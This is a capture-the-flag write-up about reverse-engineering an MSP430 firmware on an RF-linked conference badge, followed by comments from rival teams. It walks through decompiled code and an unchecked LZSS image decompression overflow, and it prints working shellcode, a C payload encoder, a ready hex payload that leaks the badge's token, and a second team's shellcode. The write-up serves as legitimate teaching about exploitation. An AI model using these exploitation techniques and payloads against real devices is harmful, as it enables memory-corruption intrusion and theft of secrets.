The badges communicate through an RF link and can send messages to each other. The messages consist in a text (limited to 113 then 200 characters) and an image.
Two serial ports over USB are available, the upper one which is undocumented, and the lower one to load the program.
The main components on the badge are:
- FPGA: Xilinx Spartan 6 XC6SLX9
- RF IC: likely a Semtech SX1272 @868MHz, (inscriptions read 1272 1342 W2H617 00)
- Flash: 4 Mbits ST 25PE40
- SRAM: 1(?) Mbits Microchip 23LCV
- Serial: 2x RS232 over USB Prolific PL2303
- A color LCD screen
Inspecting the badge
When connecting to the upper serial port, we are greeted with:
Application Core v1.0 openMSP430 core by Oliver Girard p.s. I modded the core to make data executable -sirgoon
Let's then try to get some more information:
:? Valid Commands: ?,msg,token,id
We can now prepare some tools for MSP430. Fortunately for us, the recent Matasano/Square's microcorruption challenge yielded a lot of tools for MSP430 available on the Internet. This emulator was very useful to help reverse the application and to debug the shellcode as you can connect to it with gdb.
The application is exactly 16k bytes. A quick look at the absolute addresses for the CALL permits to guess that the entry point is 0xC000, so that the application is mapped between 0xC000 and 0xFFFF. The last section is the Exception Vector table consisting of 16 entries, the last one being the entry point.
The calling convention used is R15 to R12 for the first four arguments, then the others are pushed onto the stack.
When looking at the start of the code, we can first see that the stack pointer is set to 0x4200. We can also recognize the message printed on the serial port:
C078: 3f 40 a4 c0 mov #0xc0a4, R15 ; "Application Core v1.0" C07C: b0 12 22 fb call 0xfb22 ; puts(const char *str) C080: 3f 40 ba c0 mov #0xc0ba, R15 ; "openMSP430 core by Oliver Girard" C084: b0 12 22 fb call 0xfb22 ; puts(const char *str) C088: 3f 40 db c0 mov #0xc0db, R15 ; "p.s. I modded the core to make data executable -sirgoon" C08C: b0 12 22 fb call 0xfb22 ; puts(const char *str) C090: 32 d2 eint C092: 32 d0 10 00 bis #0x10, SR C096: b0 12 52 da call 0xda52 ; read_serial(void) C09A: b0 12 6c d0 call 0xd06c ; read_rf(void) C09E: f9 3f jmp C092 C0A0: 30 40 7c fc reti C0A4: "Application Core v1.0" C0BA: "openMSP430 core by Oliver Girard" C0DB: "p.s. I modded the core to make data executable -sirgoon"
The core of the program consists in the function located at DA52 and D06C.
When looking at the function located at DA52 which seems to handle the serial port commands, we can find the usage message seen on the serial port.
One extra command is strcmp'd (function D46E) which is not printed in the usage: "debug". It can set a debug level from 0 to 2 included.
:debug 2 Debug Level: 0002
When set to 2, we can see some debug printed on the serial port when receiving messages. This one is from the SLA:
RX: RS:2 INF: RS=IDLE RX: RS:4 INF: RS=RESPONSE RX: DM:78bc11ca9719cdcb7eee88396fee83161c99f2a0e7d7872cbb70e3f27ab0dd9f41f40fb07d01f507d81bda510004a58415cc0010247100810282420c4b4c03ce1407881b9363110016250c541402613080000281c0c0510202a486a1e0016386730181c106f0d273223882118dc1e000a3044c05882209021bbddef82e0423281621c114b0d444720113d1388501b8133981263045436044c18222ca0228e016e40445cc31ce1f1289b423c5c4368d4c3z848304c509c23010c0386887b851a3a6622118067c2c713a8113e1ab4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,2a RX: RDY TX: RM:78bc030003,3a RX: RQ: OK
When using the GUI to read this message, it says: "front row badge supremacy" with an image of a dog wearing sunglasses (warning: the colors may not be the original one for obvious reasons):
So the message must be encoded in some way.
Identifying the receive buffer
The first thing to look at is the received buffer since it is the only input we control on the badge. The function located at 0xD06C identified as read_rf() should be the one that handle this buffer.
There is a string reference to "RX:" in read_rf():
D0D6: 3f 40 d8 cf mov #0xcfd8, R15 ; "RX:" D0DA: b0 12 22 fb call 0xfb22 ; puts(const char *) D0DE: 3f 40 00 17 mov #0x1700, R15 ; recv_buf D0E2: b0 12 22 fb call 0xfb22 ; puts(const char *)
We know that data messages look like: "DM:<ascii encoded hex>,<csum>". The first stage of parsing can be found right below, after a comparison to "DM:" and looping until it finds a ',':
D0EA: 7f 90 44 00 cmp.b #'D', R15 D0EE: 6a 20 jne D1C4 D0F0: f2 90 4d 00 01 17 cmp.b #'M', &0x1701 D0F6: 02 24 jeq D0FC D0F8: 30 40 f8 d2 br #0xd2f8 ; out D0FC: f2 90 3a 00 02 17 cmp.b #':', &0x1702 D102: 02 24 jeq D108 D104: 30 40 f8 d2 br #0xd2f8 ; out D108: 3b 40 04 17 mov #0x1704, R11 D10C: 0a 43 mov 0,R10 D10E: 39 40 03 00 mov #0x3, R09 D112: 48 4a mov.b R10, R08 ; in place ascii to binary conversion and checksum update loop D114: 5f 4b ff ff mov.b 0xffff(R11),R15 D118: 7f 90 2c 00 cmp.b #",", R15 D11C: 24 24 jeq D166 ; endloop ... D14C: 3a 90 0d 01 cmp #0x10d, R10 D150: e1 23 jne D114 ; loop D152: 39 90 1c 02 cmp #0x21c, R09 D156: 07 20 jne D166 ; endloop D158: 5f 42 73 03 mov.b &0x373, R15 D15C: 6f 93 cmp.b 2,R15 D15E: cc 28 jne D2F8 ; out D160: 3f 40 dc cf mov #0xcfdc, R15 ; "ERR: DM SYNTAX ERROR" D164: 7c 3c jn D25E ; label_puts ; endloop
Finally, if a checksum is present, it is checked against the computed one:
D18C: 6f 4f mov.b @R15, R15 D18E: b0 12 64 db call 0xdb64 ; uint8_t ascii2bin(uint8_t) D192: 4b 4f mov.b R15, R11 D194: 6f 49 mov.b @R09, R15 D196: b0 12 64 db call 0xdb64 ; uint8_t ascii2bin(uint8_t) D19A: 4d 4b mov.b R11, R13 D19C: 0d 5d add R13, R13 D19E: 0d 5d add R13, R13 D1A0: 0d 5d add R13, R13 D1A2: 0d 5d add R13, R13 D1A4: 4f dd bis.b R13, R15 D1A6: 4f 98 cmp.b R08, R15 D1A8: 07 24 jeq D1B8 ; label_rmxx
We now have the function handling the second stage of the message parsing, that we called do_rmxx in reference to a string it uses:
D1B8: 0e 4a mov R10,R14 D1BA: 3f 40 00 17 mov #0x1700,R15 D1BE: b0 12 fa e1 call 0xe1fa ; do_rmxx(const char *, int)
There was no real point in decompiling these functions since this part of the protocol is handled by the "msg" command, so we don't need to reproduce their behavior to forge our messages.
From now on, the result of our decompilation will be used rather than the assembly for the sake of clarity.
Message format
The messages are encoded, and we need to find out how.
The second stage parsing function can be decompiled and starts like that:
// E1FA: short do_rmxx(const char* ibuf, int len) { register short unused; short reg_22D; // Team ID struct rlbuf temp; msg_decode(ibuf, unused, &temp, ®_22D); /* ... */ }
The msg_decode function is interesting for us as it is the procedure in charge of handling the decoding of the message, and thus likely to be exploitable:
struct msg { unsigned short msg_id; char sender_id; short v3ff; unsigned char data[202]; char mode; char width; char height; unsigned char obuf[800]; // offset 0xD2 }; // E0F2: short msg_decode(char *ibuf, short unused, struct rlbuf *temp, short *m_id) { register short err; // R11 at the end register short cur_pos; // R10 register short len; char my_id; short v403; struct msg recv_msg; temp->len = 0; recv_msg.msg_id = *(short*)ibuf; recv_msg.sender_id = ibuf[2]; recv_msg.v3ff = recv_msg.mode = recv_msg.width = recv_msg.height = 0; my_id = REG_22D; v403 = 1; concat_rlbuf(temp, 0, &my_id, v403); len = ibuf[3]; cur_pos = 0; while(len >= cur_pos) { if ((ibuf[cur_pos+4] & 0xC0) == 0x80) { // decode text err = decode_text(&recv_msg, &ibuf[cur_pos+4], len - cur_pos); } else if ((ibuf[cur_pos+4] & 0xC0) == 0xC0) { // decode ??? err = decode_unk(&recv_msg, temp, &ibuf[cur_pos+4], len - cur_pos, recv_msg.sender_id, &v403); } else if ((ibuf[cur_pos+4] & 0xC0) == 0x40) { // decode image err = decode_image(&recv_msg, &ibuf[cur_pos+4], len - cur_pos); } else { err = 1; goto error; } if (err == -1 || err == 0) { goto error; } cur_pos += err; } err = 0; error: if (!recv_msg.v3ff && !err) { do_write_msg(&recv_msg); } *m_id = recv_msg.msg_id; return err; }
With the help of the MSP430 emulator and GDB, we can step into the decoding of a message to help reversing. A quick and dirty way to do that is to copy a message obtained from the debug in the serial port at the memory address 0x1700 of the emulator with the binary launched in debug, and force a jump to the do_rmxx() function by setting R15 to 0x1700 and PC to 0xE1FA in GDB.
For example:
ni set $r0=0xc09a b *0xd0b6 c set $r0=0xd1ba b *0xe1c2 disp/i $pc c
The messages seem to be formatted like this:
+------------+---------------+---------+---------------+ | MSG ID (2) | SENDER ID (1) | LEN (1) | PAYLOAD (LEN) | +------------+---------------+---------+---------------+
With the payload looking like:
+------+-------------+---------------------------+--------------------------------+-------------+----------------------------+ | 0x80 | TXT LEN (1) | Encoded text (F(TXT LEN)) | 0x40 || mode || comp || w || h | IMG LEN (1) | Compressed image (IMG LEN) | +------+-------------+---------------------------+--------------------------------+-------------+----------------------------+
Images are 36x36 with 16 colors, making 648 bytes.
Ideally, if we can overflow the obuf buffer from the message structure, we could then overwrite the return address of the msg_decode function. Since the maximum image size of 800 is not given to the uncompress_img() function, and since it is obviously compressed, it is likely that we will find our vulnerability there.
Exploiting the image decompression
After checking that indeed, there is no check for the maximum size of the image, we can then decompile the uncompress_img() function to be able to encode/decode images payload. The algorithm used is a variant of LZSS where the size of the offset varies depending on the current output buffer length. The lookahead buffer is 32 bytes wide since the length is encoded on 5 bits. The offset is encoded on 9 bits at the maximum allowing offsets up to 1024.
struct lzss_state { unsigned char shift; unsigned char cur; unsigned short pos; unsigned char *ptr; }; // F872: void init_lzss_state(struct lzss_state *state, void *addr) { state->shift = 0; state->cur = 0; state->ptr = addr; state->pos = 0; } // F92A: short getbits(int n, struct lzss_state *state, int maxlen) { register short ret = 0; register int i; for (i = 0; i < n; i++) { if (state->pos >= maxlen) return -1; if (state->shift == 0) { state->cur = state->ptr[sate->pos]; state->shift = 0x80; state->pos++; } ret <<= 1; if (state->cur & state->shift) { ret |= 1; } state->shift >>= 1; } return ret; } // DBE0: short uncompress_img(char *obuf, const char *ibuf, int len, int unused) { register int offt_sz; register int c, outlen, i, j, k; struct lzss_state state; init_lzss_state(&state, ibuf); offt_sz = 1; outlen = 0; while (1) { if ((c = getbits(1, &state, len)) == -1) { break; } if (c) { if ((c = getbits(8, &state, len)) == -1) { break; } obuf[outlen++] = c; } else { if ((i = getbits(offt_sz, &state, len)) == -1) { break; } if ((j = getbits(5, &state, len)) == -1) { break; } if (outlen <= i) { return -1; } for (k = 0; k <= j; k++, outlen++) { obuf[outlen] = obuf[outlen - (i + 1)]; } } if (offt_sz <= 8) { do { i = 1; for (k = 0; k < offt_sz; k++) { i *= 2; } if (i <= outlen) { offt_sz++; } } while (i <= outlen); } } return len; } // DEFE: short decode_image(struct msg *msg, char *ibuf, int len) { register short img_len; register short ret; register char hdr; register char width; register char height; register char mode; register char flags; register char compressed; register char unused; if (len <= 1) { return -1; } hdr = ibuf[0]; if (hdr & 0x20) { mode = 2; } else { mode = 1; } img_len = ibuf[1]; if (img_len >= len - 1) { return -1; } width = (((hdr & 0xc) >> 2) + 7) * 4; height = ((hdr & 0x3) + 7) * 4; compressed = !!(hdr & 0x10); if (compressed) { irq_lock(flags); REG_130 = width; REG_138 = height; unused = REG_13A; irq_unlock(flags); uncompress_img(msg->obuf, ibuf + 2, img_len, unused); } else { memcpy(msg->obuf, ibuf + 2, img_len); } msg->mode = mode; msg->width = width; msg->height = height; return img_len; }
We need to compress 800 + 2 * (8 pushed registers + 1 for return address) = 818 bytes to overwrite the return address of the msg_decode() function. This is possible since we can encode up to 32 bytes with at most 15 bits, so we should be able to reach up to 4k bytes without problem.
Writing the shellcode
Now we have our vulnerability. We can control PC when returning from msg_decode(). In order to retrieve the token, we need to send a message back to us.
We have identified the read_serial() function and we know the function responsible for parsing and sending the message is located at 0xD7C4. When the parsing is OK, the function located at 0xD3F2 is called with the encoded buffer. This function is responsible to queue the messages for sending. We only need the prototype to call it:
// D3F2: short q_msg(const char *msg, unsigned char length, char sndr_id, char rcpt_id);
The msg buffer contains a binary stream, so we don't need to encode anything when directly calling q_msg().
We can get the source team ID from register 0x22D, the destination ID is fixed, and the length of the message will be fixed. We have all the parameters.
We need to fill our buffer with the token from the targeted team. In order to avoid any problem in the parsing on our side, we can clear the first two most significat bits of the message. To get the token, we can do the same as what is done when querying the token from the serial port:
D8F2: 3f 40 ea d8 mov #0xd8ea, R15 ; "Token:" D8F6: b0 12 22 fb call 0xfb22 ; puts(const char *buf) D8FA: 1f 42 a0 01 mov &0x1a0, R15 D8FE: b0 12 02 d5 call 0xd502 ; put_word(short word) D902: 1f 42 a2 01 mov &0x1a2, R15 D906: b0 12 02 d5 call 0xd502 ; put_word(short word) D90A: 1f 42 a4 01 mov &0x1a4, R15 D90E: b0 12 02 d5 call 0xd502 ; put_word(short word) D912: 1f 42 a6 01 mov &0x1a6, R15 D916: b0 12 02 d5 call 0xd502 ; put_word(short word) D91A: 3f 40 f1 d8 mov #0xd8f1, R15 ; "" D91E: b0 12 22 fb call 0xfb22 ; puts(const char *buf) D922: 30 41 ret
Finally, we need to come back to a correct state. Since the RF is managed with a state machine, we would ideally want to come back as if everything went OK. If we only overwrite the return address of msg_decode() and not too much after it, we should be able to do a ret that comes back to the receive function in a clean state.
The return address we want can be computed based on the stack usage:
0x4200 - 5*2 - (2 + 0x56) - (2*8 + 2 + 2 + 800) = 0x3E6A
Taking into account that teams may patch their badge, provided they don't change the layout of msg_decode(), we can choose an address around 0x3F00 with some margin.
Here is a possible shellcode:
nop ; ... nop dint mov sp, r15 clr 0x0(r15) mov &0x1a0, 0x2(r15) mov &0x1a2, 0x4(r15) mov &0x1a4, 0x6(r15) mov &0x1a6, 0x8(r15) clr.b 0xa(r15) mov.b &0x22d, r12 mov.b #0x3, r13 mov.b #0xb, r14 call #0xd3f2 eint clr r15 add #0x56, sp pop r11 ret .word 0x0000 .word 0x0000 .word 0x0000 .word 0x0000 .word 0x0000 .word 0x0000 .word 0x0000 .word 0x0000 .word 0x3f00
This makes a 82 bytes shellcode. Since we want to create 818 bytes, NOP must be prepended:
[0343] x (818 - 82) / 2 32c20f418f4300009f42a00102009f42a20104009f42a40106009f42a6010800cf430a005c422d027d4003007e400b00b012f2d332d20f43315056003b41304100000000000000000000000000000000003F
The serial port can only read 255 characters. The command msg will use at most 11 extra characters (
msg XX,3,<hexa>\r\n
), and the hexadecimal payload doubles the size. This means the payload cannot be more than 122 bytes in size to be able to use the serial port to send it. A possible optimization could be to use the dint instruction as a NOP instead of nop itself, which will save few bytes.Note the extra 0x00 printed at the end to ensure the decoding of the message will fail to avoid writing the message in the queue for the UI to display it. We want to avoid crashing the badge.
Here is the code to encode the payload:
struct encode_state { int shift; int outpos; char buffer[256]; }; void putbits(int n, struct encode_state *state, int val) { int i; for (i = n - 1; i >= 0; i--) { if (val & (1 << i)) { state->buffer[state->outpos] |= (1 << state->shift); } state->shift--; if (state->shift == -1) { state->shift = 7; state->outpos++; } } } int encode(char* ibuf, int len) { struct encode_state state; char lookahead[33]; int offt_sz = 1, i, j, k, l; memset(state.buffer, 0, 256); state.shift = 7; state.outpos = 0; for (i = 0; i < len; i++) { char current = ibuf[i]; int mlen = 0; int bestmlen = 0; int bestidx = 0; for (j = 0; j < i; j++) { if (ibuf[j] == current) { mlen = 1; break; } } if (mlen) { bestmlen = mlen; bestidx = j; mlen = 0; for (j = 0; j < i; j++) { while (ibuf[j+mlen] == ibuf[i+mlen]) { mlen++; if (mlen == 32) { break; } } if (mlen > bestmlen) { bestmlen = mlen; bestidx = j; } if (mlen == 32) { break; } mlen = 0; } } if ((bestmlen < 1) || ((offt_sz + 5) > 8 && bestmlen < 2)) { putbits(1, &state, 1); putbits(8, &state, current); } else { putbits(1, &state, 0); putbits(offt_sz, &state, i - bestidx - 1); putbits(5, &state, bestmlen - 1); i += bestmlen - 1; } if (offt_sz <= 8) { do { l = 1; for (k = 0; k < offt_sz; k++) { l *= 2; } if (l <= i + 1) { offt_sz++; } } while (l <= i + 1); } } printf("7a%02x", state.outpos + 1); for (i=0; i <= state.outpos + 1; i++) { printf("%02x", (unsigned char)state.buffer[i]); } printf("\n"); } #define MSG_SIZE 818 int main() { char ibuf[MSG_SIZE]; int i; char sc [] = { 0x32, 0xc2, 0x0f, 0x41, 0x8f, 0x43, 0x00, 0x00, 0x9f, 0x42, 0xa0, 0x01, 0x02, 0x00, 0x9f, 0x42, 0xa2, 0x01, 0x04, 0x00, 0x9f, 0x42, 0xa4, 0x01, 0x06, 0x00, 0x9f, 0x42, 0xa6, 0x01, 0x08, 0x00, 0xcf, 0x43, 0x0a, 0x00, 0x5c, 0x42, 0x2d, 0x02, 0x7d, 0x40, 0x03, 0x00, 0x7e, 0x40, 0x0b, 0x00, 0xb0, 0x12, 0xf2, 0xd3, 0x32, 0xd2, 0x0f, 0x43, 0x31, 0x50, 0x56, 0x00, 0x3b, 0x41, 0x30, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F }; for (i = 0; i < (MSG_SIZE-sizeof(sc)); i+=2) { ibuf[i] = 0x03; ibuf[i+1] = 0x43; } memcpy(&ibuf[i], sc, sizeof(sc)); encode(ibuf, MSG_SIZE); return 0; }
The output gives:
7a7481d0cfd0fd07ec3f40fd43f60fdc3f407e90fd41fac3f607ed0fdc1fbc3f007e10fc41f8c3f207e50fcc1eccb850fa0e3e87008067e85a080c0805168a030402c5a480c1811169a03088073e870a80572852d815f68103805fa810b806c225f2e9ccba50fa1cc6a156804ee8330a08721005d3f000
Example of usage:
msg 7,3,7a7481d0cfd0fd07ec3f40fd43f60fdc3f407e90fd41fac3f607ed0fdc1fbc3f007e10fc41f8c3f207e50fcc1eccb850fa0e3e87008067e85a080c0805168a030402c5a480c1811169a03088073e870a80572852d815f68103805fa810b806c225f2e9ccba50fa1cc6a156804ee8330a08721005d3f000
Also here is another possible shellcode, but that doesn't seem to work. It was used by team (Mostly) Men In Black Hats. So kudos to them since they attacked us with it before we had the vulnerability!
32c2 bic #0x8, SR 3140 583f mov #0x3f58, SP 7c40 0700 mov.b #0x7, R12 7d40 0300 mov.b #0x3, R13 7e40 0d00 mov.b #0xd, R14 0f41 mov SP, R15 3b40 a001 mov #0x1a0, R11 8f43 0000 clr 0x0(R15) bf40 d9ba 0200 mov #0xbad9, 0x2(R15) 9f4b 0000 0400 mov 0x0(R11), 0x4(R15) 9f4b 0200 0600 mov 0x2(R11), 0x6(R15) 9f4b 0400 0800 mov 0x4(R11), 0x8(R15) 9f4b 0600 0a00 mov 0x6(R11), 0xa(R15) b012 f2d3 call #0xd3f2 3140 0042 mov #0x4200, sp 3040 90c0 br #0xc090 683f .word 0x3f68
Conclusion
While team (Mostly) Men In Black Hats had an exploit and was close to score (and maybe PPP as well?), no team scored it until the very last round of the game, in the last 5 minutes:
It was a very interesting challenge that must have been quite difficult to put up together, thanks @LegitBS_CTF and kudos to the authors!
The reversing was quite hard due to the fact that there was no simple way to identify basic functions, which was a time consuming task and because it was mostly static analysis since there is no easy way to debug the badge. We did actually add some functions to print some traces, but we lost SLA everytime we had to flash the MSP430 since it took 2 minutes to send the firmware. A team (Gallopsled?) managed to re-write the python script to send the firmware in 10s, kudos!
The challenge creators said they're going to release the FPGA and MSP430 sources, so stay tuned.
Dang. Nice turn around! We didn't test our shellcode well enough apparently. :-( Still not sure why it didn't work since it worked fine the night before when testing the shellcode in the room. Well, I know part of the problem was our header was off, but even with that fixed the shellcode wasn't working right on the game network when injecting it into the badge and debugging it directly (using the debug mode available) worked great.
ReplyDeleteI was told by sirgoon there are cache coherency problems and you have to pad your shellcode with nops, but clearly you guys didn't have a problem with that so I was very curious to see which payload you ended up using. PPP's was ROP based which avoided the problem altogether, but they tried leaking the data back via the broken reply message (which were rarely getting passed back by the base station as far as we could tell -- which was why we used a similar technique to queue it up in response).
(psifertex - men in black hats)
We tried to take advantage of a different bug in the decode_unk function. That function built the data used for the RM message, and could return various pieces of information such as radio state, team id and CRC16 checksums of the picture or text. The DM message included the start and end offsets for the bytes to checksum in the picture, but the check was signed. A negative enough offset would point to the token in memory, since the token was at an address before the stack. You could also request multiple pieces of information in one message, so we were creating a message to return 8 checksums, each of the individual bytes of the token.
ReplyDeleteWe had it working locally, but as psifertex said, RM messages never seemed to be passed back. sirgoon said afterwards that this was indeed a second intentional bug and that it was possible to get the RM messages, but it was unclear as to how exactly. Oh well, great job!
(bigred - reckless abandon)
Hi guys,
ReplyDelete@psifertex
I did indeed try your shellcode in the emulator and it seems to work, at least for queuing the message containing the token.
However there are 3 possible issues with the ones I sniffed during the game:
1/ The stack is smashed well after 0x4200. Not sure if these addresses are used though,
2/ The Src and Dest ID are the same, I don't know if this is supposed to work,
3/ The RF state machine is not updated as you jump back on the eint/cpuoff instructions, so the RF might not be in a correct state and may stay like that.
The point 3 is the more likely and is difficult to check without debugging during the live game...
@bigred
For the exact same reason as @psifertex said, we chose not to investigate the response message path because we just never received them in our logs (but we could see us sending them back during SLA checks).
Thanks for mentioning the second bug, I was actually curious to know if there was indeed something to do with this type of messages. So now we know.
This would have make a much better attack since the response is sent directly and not queued for later. As well as more reliable than smashing the stack !